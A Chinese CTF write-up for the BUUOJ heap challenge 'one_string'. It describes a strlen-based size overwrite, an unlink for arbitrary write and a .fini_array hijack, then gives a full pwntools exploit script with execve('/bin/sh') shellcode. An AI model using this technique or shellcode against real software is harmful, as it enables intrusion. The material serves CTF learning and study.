[中关村2019]one_string

buuoj上面做的

edit的时候,会重新记录size,这个size使用strlen计算。

如果申请一个可以复用下一个chunk的presize段的chunk,然后使用edit填充满,这样再下一次edit时使用的size就可以覆盖掉下一个chunk的size。

然后构造unlink,就可以任意写。

可是不知道咋控制程序执行流,甚至想在malloc_hook上写bss段地址,然后在bss段地址上写shellcode来执行,然后不知道哪里出了问题没啥卵用。

最终参考了Decade表哥的wp,修改.fini_array来控制程序执行流。

.fini_array数组,里面保存着程序执行完之后执行的函数,这里的思路是可以覆盖.fini_array数组的内容来控制程序执行流程。有一点需要注意的是.fini_array数组里保存的函数是逆序执行的,也就是说会先执行.fini_array[1]再执行.fini_array[0]。例如可以将.fini_array[1]的值改为main函数的地址,将.fini_array[0]改成调用控制.fini_array的函数0x402960,这样执行完main之后就执行又继续执行调用main函数的函数。这样就可以形成循环一直任意地址覆盖写。

1
from pwn import *
from LibcSearcher import *
sh=process("./pwn-2.dms")
#sh=remote("node2.buuoj.cn.wetolink.com",28568)
sh.recvuntil("input:\n")
def add(index,content):
	sh.sendline("1")
	sh.sendline(str(int(index)))
	sh.sendline(content)
def delete(index):
	sh.sendline("2")
	sh.sendline(str(int(index)))
def edit(index,content):
	sh.sendline("3")
	sh.sendline(str(int(index)))
	sh.sendline(content)
size=0x080EBA00
ptr=0x80eba40+12
shellcode  = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
add(0x20,'\xff')#0
add(0x18,'\xff')#1
add(0x18,'\xff')#2
add(0x64,p32(0)+p32(0x60)+p32(0xffffffff)*24)#3
add(0x60,'\xff')#4
add(0x18,'\xff')#5
edit(3,p32(0xffffffff)*25)
edit(3,p32(0xffffffff)+p32(0x61)+p32(ptr-12)+p32(ptr-8)+p32(0xffffffff)*20+p32(0x60)+p32(0x68))
delete(4)
edit(3,p32(0x80e9f74))
edit(0,p32(0)+p32(0x80e9f7c)+shellcode+'\x00')




sh.interactive()
文章目录
|